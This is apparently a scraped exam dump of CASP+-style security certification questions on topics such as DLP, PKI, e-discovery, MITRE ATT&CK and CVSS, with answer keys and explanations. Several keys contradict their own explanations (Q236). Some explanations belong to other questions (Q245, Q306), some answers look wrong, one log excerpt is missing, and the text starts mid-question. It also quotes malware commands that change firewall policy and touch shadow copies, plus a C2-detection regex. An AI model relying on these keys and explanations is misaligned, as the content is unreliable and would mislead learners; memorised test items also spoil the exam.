D. The security operations center should develop a custom IDS rule to prevent attacks buffer overflows against this server.

Answer: A

NEW QUESTION 229
A company is looking for a solution to hide data stored in databases. The solution must meet the following requirements:
? Be efficient at protecting the production environment
? Not require any change to the application
? Act at the presentation layer
Which of the following techniques should be used?

A. Masking
B. Tokenization
C. Algorithmic
D. Random substitution

Answer: A

NEW QUESTION 233
A local government that is investigating a data exfiltration claim was asked to review the fingerprint of the malicious user's actions. An investigator took a forensic image of the VM an downloaded the image to a secured USB drive to share with the government. Which of the following should be taken into consideration during the process of releasing the drive to the government?

A. Encryption in transit
B. Legal issues
C. Chain of custody
D. Order of volatility
E. Key exchange

Answer: C

NEW QUESTION 234
Due to locality and budget constraints, an organization's satellite office has a lower bandwidth allocation than other offices in the organization. As a result, the local security infrastructure staff is assessing architectural options that will help preserve network bandwidth and increase speed to both internal and external resources while not sacrificing threat visibility.
Which of the following would be the BEST option to implement?

A. Distributed connection allocation
B. Local caching
C. Content delivery network
D. SD-WAN vertical heterogeneity

Answer: D

Explanation:
SD-WAN (software-defined wide area network) vertical heterogeneity is a technique that can help preserve network bandwidth and increase speed to both internal and external resources while not sacrificing threat visibility. SD-WAN vertical heterogeneity involves using different types of network links (such as broadband, cellular, or satellite) for different types of traffic (such as voice, video, or data) based on their performance and security requirements. This can optimize the network efficiency and reliability, as well as provide granular visibility and control over traffic flows. Distributed connection allocation is not a technique for preserving network bandwidth and increasing speed, but a method for distributing network connections among multiple servers or devices. Local caching is not a technique for preserving network bandwidth and increasing speed, but a method for storing frequently accessed data locally to reduce latency or load times. Content delivery network is not a technique for preserving network bandwidth and increasing speed, but a system of distributed servers that deliver web content to users based on their geographic location. Verified References: https://www.comptia.org/blog/what-is-sd-wan https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION 236
A systems administrator was given the following IOC to detect the presence of a malicious piece of software communicating with its command-and-control server:
post /malicious. php
User-Agent: Malicious Tool V 1.0 Host: www.rcalicious.com
The IOC documentation suggests the URL is the only part that could change. Which of the following regular expressions would allow the systems administrator to determine if any of the company hosts are compromised, while reducing false positives?

A. User-Agent: Malicious Too
B. *
C. www\. malicious\. com\/maliciou
D. php
E. POST /malicious\. php
F. Hose: [a-2] *\.malicious\.com
G. maliciou
H. *

Answer: D

Explanation:
A regular expression (regex) is a sequence of characters that defines a search pattern for matching text. A regex can be used to detect the presence of a malicious piece of software communicating with its command-and-control server by matching the indicators of compromise (IOC) in the network traffic.
In this case, the systems administrator should use the regex Host: [a-z]*.malicious.com to determine if any of the company hosts are compromised, while reducing false positives, because this regex would:
? Match the Host header in the HTTP request, which specifies the domain name of
the command-and-control server.
? Allow any subdomain under the malicious.com domain, by using the character class [a-z]*, which matches zero or more lowercase letters.
? Escape the dot character in the domain name, by using the backslash , which prevents it from being interpreted as a wildcard that matches any character.
? Not match any other parts of the IOC that could change, such as the URL path, the User-Agent header, or the HTTP method.

NEW QUESTION 237
An application developer is including third-party background security fixes in an application. The fixes seem to resolve a currently identified security issue.
However, when the application is released to the public, report come In that a previously vulnerability has returned. Which of the following should the developer integrate into the process to BEST prevent this type of behavior?

A. Peer review
B. Regression testing
C. User acceptance
D. Dynamic analysis

Answer: A

NEW QUESTION 241
A host on a company's network has been infected by a worm that appears to be spreading via SMB. A security analyst has been tasked with containing the incident while also maintaining evidence for a subsequent investigation and malware analysis.
Which of the following steps would be best to perform FIRST?

A. Turn off the infected host immediately.

B. Run a full anti-malware scan on the infected host.
C. Modify the smb.conf file of the host to prevent outgoing SMB connections.
D. Isolate the infected host from the network by removing all network connections.

Answer: D

NEW QUESTION 245
A company's SOC has received threat intelligence about an active campaign utilizing a specific vulnerability. The company would like to determine whether it is vulnerable to this active campaign.
Which of the following should the company use to make this determination?

A. Threat hunting
B. A system penetration test
C. Log analysis within the SIEM tool
D. The Cyber Kill Chain

Answer: B

Explanation:
 The security analyst should remove the cipher TLS_DHE_DSS_WITH_RC4_128_SHA to support the business requirements, as it is considered weak and vulnerable to on-path attacks. RC4 is an outdated stream cipher that has been deprecated by major browsers and protocols due to its flaws and weaknesses. The other ciphers are more secure and compliant with secure-by-design principles and PCI DSS. Verified References: https://www.comptia.org/blog/what-is-a-cipher https://partners.comptia.org/docs/default-source/resources/casp-content-guide

NEW QUESTION 247
An organization is referencing NIST best practices for BCP creation while reviewing current internal organizational processes for mission-essential items.
Which of the following phases establishes the identification and prioritization of critical systems and functions?

A. Review a recent gap analysis.
B. Perform a cost-benefit analysis.
C. Conduct a business impact analysis.
D. Develop an exposure factor matrix.

Answer: C

Explanation:
Reference: https://itsm.ucsf.edu/business-impact-analysis-bia-0
According to NIST SP 800-34 Rev. 1, a business impact analysis (BIA) is a process that identifies and evaluates the potential effects of natural and man-made events on organizational operations. The BIA enables an organization to determine which systems and processes are essential to the organization's mission and prioritize their recovery time objectives (RTOs) and recovery point objectives (RPOs).12

NEW QUESTION 248
A security analyst wants to keep track of alt outbound web connections from workstations. The analyst's company uses an on-premises web filtering solution that forwards the outbound traffic to a perimeter firewall. When the security analyst gets the connection events from the firewall, the source IP of the outbound web traffic is the translated IP of the web filtering solution. Considering this scenario involving source NAT. which of the following would be the BEST option to inject in the HTTP header to include the real source IP from workstations?

A. X-Forwarded-Proto
B. X-Forwarded-For
C. Cache-Control
D. Strict-Transport-Security
E. Content-Security-Policy

Answer: B

NEW QUESTION 253
A financial services company wants to migrate its email services from on-premises servers to a cloud-based email solution. The Chief information Security Officer (CISO) must brief board of directors on the potential security concerns related to this migration. The board is concerned about the following.
* Transactions being required by unauthorized individual
* Complete discretion regarding client names, account numbers, and investment information.
* Malicious attacker using email to distribute malware and ransom ware.
* Exfiltration of sensitivity company information.
The cloud-based email solution will provide an6-malware, reputation-based scanning, signature-based scanning, and sandboxing. Which of the following is the BEST option to resolve the board's concerns for this email migration?

A. Data loss prevention
B. Endpoint detection response
C. SSL VPN
D. Application whitelisting

Answer: A

Explanation:
 Data loss prevention (DLP) is the best option to resolve the board's concerns for this email migration. DLP is a set of tools and policies that aim to prevent unauthorized access, disclosure, or exfiltration of sensitive data. DLP can monitor, filter, encrypt, or block email messages based on predefined rules and criteria, such as content, sender, recipient, attachment, etc. DLP can help protect transactions, customer data, and company information from being compromised by malicious actors or accidental leaks. Verified References: https://www.comptia.org/training/books/casp-cas-004-study-guide ,
https://www.csoonline.com/article/3245746/what-is-dlp-data-loss-prevention-and-how- does-it-work.html

NEW QUESTION 254
A security architect Is analyzing an old application that is not covered for maintenance anymore because the software company is no longer in business. Which of the following techniques should have been Implemented to prevent these types of risks?

A. Code reviews
B. Supply chain visibility
C. Software audits
D. Source code escrows

Answer: D

Explanation:
A source code escrow is a legal agreement that involves a third party holding the source code of a software application on behalf of the software vendor and the software licensee. The source code escrow ensures that the licensee can access the source code in case the vendor goes out of business, fails to provide maintenance or support, or breaches the contract terms.
A source code escrow would have prevented the risk of having an old application that is not covered for maintenance anymore because the software company is no longer in business, because it would:
? Allow the licensee to obtain the source code and continue to update, fix, or modify
the application according to their needs.
? Protect the vendor's intellectual property rights and prevent unauthorized disclosure or use of the source code.
? Provide a legal framework and a trusted mediator for resolving any disputes or issues between the vendor and the licensee.

NEW QUESTION 256
A healthcare system recently suffered from a ransomware incident As a result the board of directors decided to hire a security consultant to improve existing network security. The security consultant found that the healthcare network was completely flat, had no privileged access limits and had open RDP access to servers with personal health information. As the consultant builds the remediation plan, which of the following solutions would BEST solve these challenges? (Select THREE).

A. SD-WAN
B. PAM
C. Remote access VPN
D. MFA
E. Network segmentation
F. BGP
G. NAC

Answer: ACE

NEW QUESTION 259
A vulnerability analyst identified a zero-day vulnerability in a company's internally developed software. Since the current vulnerability management system does not have any checks for this vulnerability, an engineer has been asked to create one.
Which of the following would be BEST suited to meet these requirements?

A. ARF
B. ISACs
C. Node.js
D. OVAL

Answer: D

Explanation:
OVAL (Open Vulnerability and Assessment Language) is a standard that would be best suited for creating checks for a zero-day vulnerability in an organization's internally developed software. OVAL is a standard for expressing system configuration information and vulnerabilities in an XML format, allowing interoperability and automation among different security tools and platforms. An engineer can use OVAL to create definitions or tests for specific vulnerabilities or states in the software, and then use OVAL- compatible tools to scan or evaluate the software against those definitions or tests. ARF (Asset Reporting Format) is not a standard for creating checks for vulnerabilities, but a standard for expressing information about assets and their characteristics in an XML format, allowing interoperability and automation among different security tools and platforms. ISACs (Information Sharing and Analysis Centers) are not standards for creating checks for vulnerabilities, but organizations that collect, analyze, and disseminate information about threats, vulnerabilities, incidents, or best practices among different sectors or communities. Node.js is not a standard for creating checks for vulnerabilities, but a runtime environment that allows executing JavaScript code outside of a web browser, enabling the development of scalable web applications or services. Verified References: https://www.comptia.org/blog/what-is-oval https://partners.comptia.org/docs/default- source/resources/casp-content-guide

NEW QUESTION 261
A security analyst is validating the MAC policy on a set of Android devices. The policy was written to ensure non-critical applications are unable to access certain resources. When reviewing dmesg, the analyst notes many entries such as:
Despite the deny message, this action was still permit following is the MOST likely fix for this issue?

A. Add the objects of concern to the default context.
B. Set the devices to enforcing
C. Create separate domain and context files for irc.
D. Rebuild the policy, reinstall, and test.

Answer: B

NEW QUESTION 264
A large number of emails have been reported, and a security analyst is reviewing the following information from the emails:

```
Received: From postfix.com [102.8.14.10]
Received: From prod.protection.email.comptia.com [99.5.143.140]
SPF: Pass
From: <carl.b@comptia1.com>
Subject: Subject Matter Experts
X-IncomingHeaderCount:4
Return-Path: carl.b@comptia.com
Date: Sat, 4 Oct 2020 22:01:59
```

As part of the image process, which of the following is the FIRST step the analyst should take?

A. Block the email address carl b@comptia1 com, as it is sending spam to subject matter experts
B. Validate the final "Received" header against the DNS entry of the domain.
C. Compare the 'Return-Path' and "Received" fields.
D. Ignore the emails, as SPF validation is successful, and it is a false positive

Answer: C

NEW QUESTION 268
A recent data breach revealed that a company has a number of files containing customer data across its storage environment. These files are individualized for each employee and are used in tracking various customer orders, inquiries, and issues. The files are not encrypted and can be accessed by anyone. The senior management team would like to address these issues without interrupting existing processes.
Which of the following should a security architect recommend?

A. A DLP program to identify which files have customer data and delete them
B. An ERP program to identify which processes need to be tracked
C. A CMDB to report on systems that are not configured to security baselines
D. A CRM application to consolidate the data and provision access based on the process and need

Answer: D

Explanation:
 Reference: https://searchdatacenter.techtarget.com/definition/configuration-management-database#:~:text=A%20configuration%20management%20database%20(CMDB,the%20rel
ationships%20between%20those%20components

NEW QUESTION 272
An organization mat provides a SaaS solution recently experienced an incident involving customer data loss. The system has a level of sell-healing that includes monitoring performance and available resources. When me system detects an issue, the self-healing process is supposed to restart pans of me software.
During the incident, when me self-healing system attempted to restart the services,
available disk space on the data drive to restart all the services was inadequate. The self- healing system did not detect that some services did not fully restart and declared me system as fully operational. Which of the following BEST describes me reason why the silent failure occurred?

A. The system logs rotated prematurely.
B. The disk utilization alarms are higher than what me service restarts require.
C. The number of nodes in me self-healing cluster was healthy,
D. Conditional checks prior to the service restart succeeded.

Answer: D

NEW QUESTION 277
A company was recently infected by malware. During the root cause analysis. the company determined that several users were installing their own applications. TO prevent further compromises, the company has decided it will only allow authorized applications to run on its systems. Which Of the following should the company implement?

A. Signing
B. Access control
C. HIPS
D. Permit listing

Answer: D

NEW QUESTION 281
The Chief information Officer (CIO) asks the system administrator to improve email security at the company based on the following requirements:
* Transaction being requested by unauthorized individuals.
* Complete discretion regarding client names, account numbers, and investment information.
* Malicious attackers using email to malware and ransomware.
* Exfiltration of sensitive company information.
The cloud-based email solution will provide anti-malware reputation-based scanning, signature-based scanning, and sandboxing. Which of the following is the BEST option to resolve the boar's concerns for this email migration?

A. Data loss prevention
B. Endpoint detection response
C. SSL VPN

D. Application whitelisting

Answer: A

Explanation:
 Data loss prevention (DLP) is the best option to resolve the board's concerns for this email migration. DLP is a set of tools and policies that aim to prevent unauthorized access, disclosure, or exfiltration of sensitive data. DLP can monitor, filter, encrypt, or block email messages based on predefined rules and criteria, such as content, sender, recipient, attachment, etc. DLP can help protect transactions, customer data, and company information from being compromised by malicious actors or accidental leaks. Verified References: https://www.comptia.org/training/books/casp-cas-004-study-guide , https://www.csoonline.com/article/3245746/what-is-dlp-data-loss-prevention-and-how- does-it-work.html

NEW QUESTION 284
Based on PCI DSS v3.4, One Particular database field can store data, but the data must be unreadable. which of the following data objects meets this requirement?

A. PAN
B. CVV2
C. Cardholder name
D. expiration date

Answer: A

NEW QUESTION 289
The Chief Security Officer (CSO) requested the security team implement technical controls that meet the following requirements:
* Monitors traffic to and from both local NAS and cloud-based file repositories
* Prevents on-site staff who are accessing sensitive customer Pll documents on file repositories from accidentally or deliberately sharing sensitive documents on personal Saa$S solutions
* Uses document attributes to reduce false positives
* Is agentless and not installed on staff desktops or laptops
Which of the following when installed and configured would BEST meet the CSO's requirements? (Select TWO).

A. DLP
B. NGFW
C. UTM
D. UEBA
E. CASB
F. HIPS

Answer: AE

Explanation:
 DLP, or data loss prevention, and CASB, or cloud access security broker, are the solutions that when installed and configured would best meet the CSO's requirements. DLP is a technology that monitors and prevents unauthorized or accidental data leakage or exfiltration from an organization's network or devices. DLP can use document attributes, such as metadata, keywords, or fingerprints, to identify and classify sensitive data and enforce policies on how they can be accessed, transferred, or shared. CASB is a technology that acts as a proxy or intermediary between an organization's cloud
services and its users. CASB can provide visibility, compliance, threat protection, and data security for cloud-based applications and data. CASB can also prevent on-site staff from accessing personal SaaS solutions that are not authorized by the organization. References: [CompTIA CASP+ Study Guide, Second Edition, pages 281-282 and 424-425]

NEW QUESTION 290
A company is moving most of its customer-facing production systems to the cloud-facing production systems to the cloud. IaaS is the service model being used. The Chief Executive Officer is concerned about the type of encryption available and requires the solution must have the highest level of security.
Which of the following encryption methods should the cloud security engineer select during the implementation phase?

A. Instance-based
B. Storage-based
C. Proxy-based
D. Array controller-based

Answer: B

Explanation:
 We recommend that you encrypt your virtual hard disks (VHDs) to help protect your boot volume and data volumes at rest in storage, along with your encryption keys and secrets. Azure Disk Encryption helps you encrypt your Windows and Linux IaaS virtual machine disks. Azure Disk Encryption uses the industry-standard BitLocker feature of Windows and the DM-Crypt feature of Linux to provide volume encryption for the OS and the data disks. The solution is integrated with Azure Key Vault to help you control and manage the disk-encryption keys and secrets in your key vault subscription. The solution also ensures that all data on the virtual machine disks are encrypted at rest in Azure Storage. https://docs.microsoft.com/en-us/azure/security/fundamentals/iaas

NEW QUESTION 292
A security analyst is using data provided from a recent penetration test to calculate CVSS scores to prioritize remediation. Which of the following metric groups would the analyst need to determine to get the overall scores? (Select THREE).

A. Temporal
B. Availability
C. Integrity
D. Confidentiality
E. Base
F. Environmental
G. Impact

H. Attack vector

Answer: AEF

Explanation:
The three metric groups that are needed to calculate CVSS scores are Base, Temporal, and Environmental. The Base metrics represent the intrinsic characteristics of a vulnerability that are constant over time and across user environments. The Temporal metrics represent the characteristics of a vulnerability that may change over time but not across user environments. The Environmental metrics represent the characteristics of a vulnerability that are relevant and unique to a particular user's environment. Verified References:

≫ https://nvd.nist.gov/vuln-metrics/cvss

≫ https://www.first.org/cvss/specification-document

NEW QUESTION 297
A network administrator receives a ticket regarding an error from a remote worker who is trying to reboot a laptop. The laptop has not yet loaded the operating system, and the user is unable to continue the boot process. The administrator is able to provide the user with a recovery PIN, and the user is able to reboot the system and access the device as needed. Which of the following is the MOST likely cause of the error?

A. Lockout of privileged access account
B. Duration of the BitLocker lockout period
C. Failure of the Kerberos time drift sync
D. Failure of TPM authentication

Answer: D

Explanation:
The most likely cause of the error is the failure of TPM authentication. TPM stands for Trusted Platform Module, which is a hardware component that stores encryption keys and other security information. TPM can be used by BitLocker to protect the encryption keys and verify the integrity of the boot process. If TPM fails to authenticate the laptop, BitLocker will enter recovery mode and ask for a recovery PIN, which is a 48-digit numerical password that can be used to unlock the system. The administrator should check the TPM status and configuration and make sure it is working properly. Verified References:

≫ https://support.microsoft.com/en-us/windows/finding-your-bitlocker-recovery-key-in-windows-6b71ad27-

≫ https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/bi

≫ https://docs.sophos.com/esg/sgn/8-1/user/win/en-us/esg/SafeGuard-Enterprise/tasks/BitLockerRecoveryK

NEW QUESTION 300
The analyst should implement every solution one at a time in a virtual lab, running an attack simulation each time while collecting metrics. Roll back each solution and then implement the next. Choose the best solution based on the best metrics. This approach would allow the analyst to test each solution individually and measure its effectiveness against the attack, without affecting the other solutions or the production environment. This would also minimize the downtime required to implement the best solution, as only one change would be needed. The other options would either involve implementing multiple solutions at once, which could cause conflicts or errors, or collecting metrics before running the attack simulation, which would not reflect the actual impact of the solutions.
Which of the following processes involves searching and collecting evidence during an investigation or lawsuit?

A. E-discovery
B. Review analysis
C. Information governance
D. Chain of custody

Answer: A

Explanation:
The process that involves searching and collecting evidence during an investigation or lawsuit is e-discovery. E-discovery stands for electronic discovery, which is the process of identifying, preserving, collecting, processing, reviewing, analyzing, and producing electronically stored information (ESI) that is relevant to a legal matter. E-discovery can be used for civil litigation, criminal prosecution, regulatory compliance, internal investigations, and other purposes. E-discovery can help parties obtain evidence from various sources, such as emails, documents, databases, social media, cloud services, mobile devices, and others. Verified References:

≫ https://www.techtarget.com/searchsecurity/definition/electronic-discovery

≫ https://www.edrm.net/frameworks-and-standards/edrm-model/

≫ https://www.law.cornell.edu/wex/electronic_discovery_(federal)

NEW QUESTION 304
An organization is in frequent litigation and has a large number of legal holds. Which of the following types of functionality should the organization's new email system provide?

A. DLP
B. Encryption
C. E-discovery
D. Privacy-level agreements

Answer: C

Explanation:
The organization's new email system should provide e-discovery functionality. E-discovery stands for electronic discovery, which is the process of identifying, preserving, collecting, processing, reviewing, analyzing, and producing electronically stored information (ESI) that is relevant to a legal matter. E-discovery can help the organization comply with legal holds, which are orders or notices to preserve relevant ESI when litigation is anticipated or ongoing. E-discovery can also help the organization reduce the costs and risks of litigation, as well as improve the efficiency and accuracy of the discovery process. Verified References:

≫ https://www.techtarget.com/searchsecurity/definition/electronic-discovery

≫ https://www.techtarget.com/searchsecurity/definition/legal-hold

> https://www.ibm.com/topics/electronic-discovery

NEW QUESTION 306
A security researcher detonated some malware in a lab environment and identified the following commands running from the EDR tool:

```
netsh advfirewall set allprofiles firewall policy blockinbound, blockoutbound
netsh advfirewall set allprofiles state on
init.ps1 -win32_shadow copy
```

With which of the following MITRE ATT&CK TTPs is the command associated? (Select TWO).

A. Indirect command execution
B. OS credential dumping
C. Inhibit system recovery
D. External remote services
E. System information discovery
F. Network denial of service

Answer: BE

Explanation:
OS credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. System information discovery is the process of gathering information about the system, such as hostname, IP address, OS version, running processes, etc. Both of these techniques are commonly used by adversaries to gain access to sensitive data and resources on the target system. The command shown in the image is using Mimikatz, a tool that can dump credentials from memory, and also querying the system information using WMIC.
Verified References:
> https://attack.mitre.org/techniques/T1003/
> https://attack.mitre.org/techniques/T1082/
> https://github.com/gentilkiwi/mimikatz
> https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic

NEW QUESTION 308
An architectural firm is working with its security team to ensure that any draft images that are leaked to the public can be traced back to a specific external party. Which of the following would BEST accomplish this goal?

A. Properly configure a secure file transfer system to ensure file integrity.
B. Have the external parties sign non-disclosure agreements before sending any image
C. Only share images with external parties that have worked with the firm previousl
D. Utilize watermarks in the images that are specific to each external party.

Answer: D

Explanation:
Watermarking is a technique of adding an identifying image or pattern to an original image to protect its ownership and authenticity. Watermarks can be customized to include specific information about the external party, such as their name, logo, or date of receipt. This way, if any draft images are leaked to the public, the firm can trace back the source of the leak and take appropriate actions. Verified References:
> https://en.wikipedia.org/wiki/Watermark
> https://www.canva.com/features/watermark-photos/
> https://www.mdpi.com/2078-2489/11/2/110

NEW QUESTION 311
A security architect recommends replacing the company's monolithic software application with a containerized solution. Historically, secrets have been stored in the application's configuration files. Which of the following changes should the security architect make in the new system?

A. Use a secrets management tool.
B. 'Save secrets in key escrow.
C. Store the secrets inside the Dockerfiles.
D. Run all Dockerfles in a randomized namespac

Answer: A

Explanation:
A secrets management tool is a tool that helps companies securely store, transmit, and manage sensitive digital authentication credentials such as passwords, keys, tokens, certificates, and other secrets. A secrets management tool can help prevent secrets sprawl, enforce business policies, and inject secrets into pipelines. A secrets management tool can also help protect secrets from unauthorized access, leakage, or compromise by using encryption, tokenization, access control, auditing, and rotation. A secrets management tool is a recommended solution for replacing the company's monolithic software application with a containerized solution, because it can provide a centralized and consistent way to manage secrets across multiple containers and environments.
* B. Saving secrets in key escrow is not a recommended solution for replacing the company's monolithic software application with a containerized solution, because it does not address the operational challenges of managing secrets for containers. Key escrow is a process of storing cryptographic keys with a trusted third party that can release them under certain conditions. Key escrow can be useful for backup or recovery purposes, but it does not provide the same level of security and automation as a secrets management tool.
* C. Storing the secrets inside the Dockerfiles is not a recommended solution for replacing the company's monolithic software application with a containerized solution, because it exposes the secrets to anyone who can access the Dockerfiles or the images built from them. Storing secrets inside the Dockerfiles is equivalent to hardcoding them into the application code, which is a bad practice that violates the principle of least privilege and increases the risk of secrets leakage or compromise.
* D. Running all Dockerfiles in a randomized namespace is not a recommended solution for replacing the company's monolithic software application with a containerized solution, because it does not address the issue of storing and managing secrets for containers. Running Dockerfiles in a randomized namespace is a

technique to avoid name conflicts and collisions between containers, but it does not provide any security benefits for secrets.

NEW QUESTION 314
Which of the following describes the system responsible for storing private encryption/decryption files with a third party to ensure these files are stored safely?

A. Key escrow
B. TPM
C. Trust models
D. Code signing

Answer: A

Explanation:
Key escrow is the system responsible for storing private encryption/decryption files with a third party to ensure these files are stored safely. Key escrow is an arrangement in which the keys needed to decrypt encrypted data are held in escrow by a trusted third party that can release them under certain conditions. Key escrow can be useful for backup or recovery purposes, or for complying with legal or regulatory requirements that may demand access to encrypted data.
* B. TPM is not the system responsible for storing private encryption/decryption files with a third party to ensure these files are stored safely. TPM stands for Trusted Platform Module, which is a hardware device that provides secure storage and generation of cryptographic keys on a computer. TPM does not involve any third party or escrow service.
* C. Trust models are not the system responsible for storing private encryption/decryption files with a third party to ensure these files are stored safely. Trust models are frameworks that define how entities can establish and maintain trust relationships in a network or system. Trust models do not necessarily involve any third party or escrow service.
* D. Code signing is not the system responsible for storing private encryption/decryption files with a third party to ensure these files are stored safely. Code signing is a process of using digital signatures to verify the authenticity and integrity of software code. Code signing does not involve any third party or escrow service.

NEW QUESTION 317
An organization is looking to establish more robust security measures by implementing PKI. Which of the following should the security analyst implement when considering mutual authentication?

A. Perfect forward secrecy on both endpoints
B. Shared secret for both endpoints
C. Public keys on both endpoints
D. A common public key on each endpoint
E. A common private key on each endpoint

Answer: C

Explanation:
Public keys on both endpoints are required for implementing PKI-based mutual authentication. PKI stands for Public Key Infrastructure, which is a system that manages the creation, distribution, and verification of certificates. Certificates are digital documents that contain public keys and identity information of their owners. Certificates are issued by trusted authorities called Certificate Authorities (CAs), and can be used to prove the identity and authenticity of the certificate holders. Mutual authentication is a process in which two parties authenticate each other at the same time using certificates. Mutual authentication can provide stronger security and privacy than one-way authentication, where only one party is authenticated. In PKI-based mutual authentication, each party has a certificate that contains its public key and identity information, and a private key that corresponds to its public key. The private key is kept secret and never shared with anyone, while the public key is shared and used to verify the identity and signature of the certificate holder. The basic steps of PKI-based mutual authentication are as follows:
➢ Party A sends its certificate to Party B.
➢ Party B verifies Party A's certificate by checking its validity, signature, and trust chain. If the certificate is valid and trusted, Party B extracts Party A's public key from the certificate.
➢ Party B generates a random challenge (such as a nonce or a timestamp) and encrypts it with Party A's public key. Party B sends the encrypted challenge to Party A.
➢ Party A decrypts the challenge with its private key and sends it back to Party B.
➢ Party B compares the received challenge with the original one. If they match, Party B confirms that Party A is the legitimate owner of the certificate and has possession of the private key.
➢ The same steps are repeated in reverse, with Party A verifying Party B's certificate and sending a challenge encrypted with Party B's public key.
* A. Perfect forward secrecy on both endpoints is not required for implementing PKI-based mutual authentication. Perfect forward secrecy (PFS) is a property of encryption protocols that ensures that the compromise of a long-term secret key (such as a private key) does not affect the security of past or future session keys (such as symmetric keys). PFS can enhance the security and privacy of encrypted communications, but it does not provide authentication by itself.
* B. Shared secret for both endpoints is not required for implementing PKI-based mutual authentication. Shared secret is a method of authentication that relies on a pre-shared piece of information (such as a password or a passphrase) that is known only to both parties. Shared secret can provide simple and fast authentication, but it does not provide non-repudiation or identity verification.
* D. A common public key on each endpoint is not required for implementing PKI-based mutual authentication. A common public key on each endpoint would imply that both parties share the same certificate and private key, which would defeat the purpose of PKI-based mutual authentication. Each party should have its own unique certificate and private key that proves its identity and authenticity.
* E. A common private key on each endpoint is not required for implementing PKI-based mutual authentication. A common private key on each endpoint would imply that both parties share the same certificate and public key, which would defeat the purpose of PKI-based mutual authentication. Each party should have its own unique certificate and private key that proves its identity and authenticity.

NEW QUESTION 321
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